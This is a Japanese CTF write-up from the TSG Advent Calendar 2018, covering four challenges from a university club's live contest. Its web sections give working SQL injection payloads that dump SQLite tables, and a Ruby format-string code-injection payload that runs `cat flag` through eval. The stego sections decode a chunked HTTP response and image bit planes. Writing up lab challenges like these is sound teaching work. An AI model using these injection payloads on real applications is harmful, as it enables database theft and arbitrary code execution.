これは TSG Advent Calendar 2018 の3日目の記事です.
adventar.org
昨日12/2は くっきーさんの駒場祭企画 TSG LIVE! 2 CTF DAY1の問題 でした.
先日11/23-25に駒場祭があり.私が所属しているサークルTSG(東京大学理論科学グループ)では企画として3日間を通してプログラミングの生放送をしました.そのうち,私は配信の関係でhakatashiさんの代わりのJP3BGY氏と共に1日目のLIVE CTFにプレイヤーとして参加をしました.
5問のうち本番1時間で解けた問題は simqleの1問のみでしたが,終了後これに加え3問解くことができたので,計4問のWriteupを公開します.
ちなみに残り1問のforensicはJP3BGY氏が実質解けたと仰っていたのでめでたくTeamBLUEは全完です(いいえ)
追記(2018/12/6):僕がforも解いたので全完です わいわい
問題は以下で公開されています.
https://ctf-day1.tsg.ne.jp/
問題製作者のくっきー氏曰く12/9までは少なくとも遊べるようになっているそうです.
[Web 100] simqle
TSG部員の情報を検索できるようなフォームがあるWebページが渡される.
ソースコードが与えられており,フォームのパラメータを受けとりSQL文を発行している部分を抽出すると以下のようになっている.
( https://github.com/cookie-s/tsgctf-kmbfes18-day1-pub/blob/master/web-simqle/app.rb からでも閲覧可能)
...
params = JSON.parse request.body.read rescue return 400
%w(name since until title url).each do |key|
return 400 if params[key] && params[key].bytesize > 500
end
return 400 if params["name"] && params["name"].bytesize > 20
filter = "name LIKE '%%%s%%'" % params["name"]
filter+= params["since"] && params["until"] ?
" AND year BETWEEN %d AND %d" % [params["since"].to_i, params["until"].to_i] : ''
filter+= params["title"] ?
" AND title LIKE '%%%s%%'" % sql_escape(params["title"]) : ''
filter+= params["url"] ?
" AND url LIKE '%%%s%%'" % sql_escape(params["url"]) : ''
sql = "SELECT name, year, title, url FROM members WHERE %s ORDER BY id DESC" % filter
...
また,関数sql_escape
は以下のように定義されている.
def sql_escape(x)
x.gsub("'", "''")
end
タイトルからもSQL Injectionをする問題とみて間違いなさそうなので,SQLiteにおいてメタ情報を格納しているsqlite_master
テーブルのtbl_name
から,DB内のテーブル名一覧を抜き出すことを目標にSQLiできそうな場所を探す.
一見 title
に' union SELECT tbl_name,1,1,1 from sqlite_master --
で終わりのように見えるが20文字以上になってしまうため上手く動かない.
そこで,例えば name
を ' AND "
,title
を " union SELECT tbl_name,1,1,1 from sqlite_master --
とすると,最終的なSQL文となる文字列sql
は
SELECT name, year, title, url FROM members WHERE name LIKE '%' AND "%' AND year BETWEEN 0 AND 0 AND title LIKE '%" union SELECT tbl_name,1,1,1 from sqlite_master
となり上手く間が文字列となってくれSQLiが成功する.
上のSQLiが成功した結果,members
,sqlite_sequence
の他にfl4g
というテーブルがあることがわかる.
よって,同じように,name
= ' and "
,title
= " union SELECT *,1,1,1 from fl4g --
とすると,FLAGが出現した.
FLAG : TSGCTF{159_MEMBERS_ARE_IN_SLACK}
[Web 150] sha
salt
と flag
の2つのテキストボックスをもつフォームが与えられる.
ソースコードが与えられており(https://github.com/cookie-s/tsgctf-kmbfes18-day1-pub/blob/master/web-sha/app.rb からでも閲覧可能),見るとこのsalt
とflag
からcode
を生成し,code
をevalした結果を返却しているようである.コード生成部を抜粋すると次の通り.
salt = params[:salt]
file = params[:file] || 'flag'
logger.info [salt, file]
code = <<-END
require 'digest/sha2'
s = #{salt.inspect} + IO.binread(%p.gsub(?/,''))
puts Digest::SHA512.hexdigest(s)
END
code = code % file
一瞬伸長攻撃につなげる問題かと考えたが,Web問なので素直にWeb的にflag
ファイルを読み出す方法を考える.
直ぐ思いついたものは%p
に適切なものを入れて任意コード実行するというもの.%pは与えられたObjectに対してObject#inspectをするようなsprintfのフォーマットであり,Object#inspectはオブジェクトを可読性の高い文字列に変換するメソッドである.例えば "hoge".inspect
は "\"hoge\""
,""\"".inspect"
は "\"\\\"\""
となる.
ここからも分かるように,code
の2行目の%p
の部分には少なくとも文字列としてダブルクオーテーションに囲まれた何かが入る訳で,例えばこの"
を閉じて任意実行に持っていく発想として file = "\");puts `cat flag#"
みたいなものを投げ,code
がs = #{salt.inspect} + IO.binread("");puts `cat flag#".gsub(?/,''))
のような文字列になることを期待したいとする.
しかし,先程見たとおり当然""\"".inspect"
は"\"\\\"\""
であるからs = #{salt.inspect} + IO.binread("\");puts `cat flag#".gsub(?/,''))
という文字列 1 になってしまう.(要するに文字列をinspectすることで生じるダブルクオーテーションを閉じることは出来ない)故に%p
の部分を用いて任意コード実行できるようなRubyコードを構成することは難しいように思える.
そのためsalt
に例えば%s
等を投げて,そちらにinjectすれば良いのでは無いかと試しているところで時間が終わる.
この方針は結局正しくて,salt="%s"
とすると
code
の2行目の文字列は
s = "%s" + IO.binread(%p.gsub(?/,''))
となる.2
よって,例えばfile = ["\";puts`cat flag`;#", "hoge"]
とすると,code
の2行目の文字列は
s = "";puts`cat flag`;
実際は文字列なので "s= \"\";puts`cat flag`;#\" + IO.binread(\"hoge\".gsub(?/,''))\n"
であり,これがevalされるわけなので任意のRubyコードが実行可能であることがわかる.
よって,salt=%25s&file[]=";puts`cat flag`;#&file[]=hoge
のようなものを投げるとFLAGが読み出せた.
String#%
について,文字列にsprintfの埋め込みが2箇所以上ある場合は渡す複数の文字列を配列にする必要があるが,sinatraはちゃんと複数の同名パラメータは配列になるのでこれで良い.
FLAG : TSGCTF{I_COULDN'T_COME_UP_WITH_ANYTHING_BUT_SHA_FUNCTION}
[Stego 100] 3tsg0
このページはstaticか?
公開されているTSGのHP(http://tsg.ne.jp/) と一見同じものが表示される.
curlしてdiffを取って見るが,HTMLについては各ページやリソースへのリンクが変化しているだけ
またcss,jsについてはtsg.ne.jp以下のものを取って来ているだけであった.
その他与えられているもので怪しいファイルや情報が無いため,注目するべきはHTMLファイルだろうと推測できる.
返却されたHTMLのResponse Headerを見ると,
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
となっている.(このあたりで本番は投げ出して他の問題を見始めた)
こういった静的なサイトとしてちょっと変だなあと思う点は Transfer-Encoding: chunked
となっていることである.
Transfer-Encoding: chunked
とは,データを一度に送信しContent-Length
ヘッダーでサイズを指定するのでなく,データを複数のchunkに分けて送信するようなHTTPのオプションであり,故にこのサーバーは継続的にデータを送ってきているのではないかと推測できる.
require "socket"
socket = TCPSocket.open("external.chals.ctf-day1.tsg.ne.jp",15682)
socket.print "GET / HTTP/1.0\r\n\r\n"
response = socket.read
みたいなことをし,responseを読むと,
...
54
<html lang="ja">
<head>
<meta charset="utf-8">
<meta name="d
53
escription" content="東京大学に本拠をおくコンピュータサークルTS
47
Gのウェブサイトです。">
...
等の,通常のブラウザやcurlでは見えていなかった文字列が見えていることがわかる.
目視で確認して16進数だと推測し,末尾に\r\n
が付いているようなもののみを抽出すると,
response.lines.select{|e| e=~/^[0-9a-f]{2}\r\n/}
のように,明らかにascii文字の範囲内に収まるような16進数がchunkとして送信されていることがわかる
よってこれらをascii文字に変換した後結合してFLAGとなる.
response.lines.select{|e| e=~/^[0-9a-f]{2}\r\n/}.map{|e| e[0,2].to_i(16).chr}.join
FLAG : TSGCTF{I_THINK_IT_DEPENDS_ON_THE_DEFINITION_WHETHER_THIS_SITE_IS_STATIC}
[stego 100] W
部室の写真(png)が与えられる.
stegsolveで見てあげると画像の各ピクセルのRed,Green,Buleの値のそれぞれ0bit目を色分けした画像が次のようになっている.
Buleの上半分にRubyのコードのようなものが確認できるが判別しにくいため,ちょうどRedで得た市松模様とXORを取ってみると次のようになる.
下半分がGreenと同じような見た目になっていることがわかり,これとGreenとのXOR取るとコードが全貌が判明すると共にFLAGが得られる.
FLAG : TSGCTF{'RGB'.bytes.inject(&:^).chr}
明日12/4は moratoriumさんの TSGCTF day3 writeup です.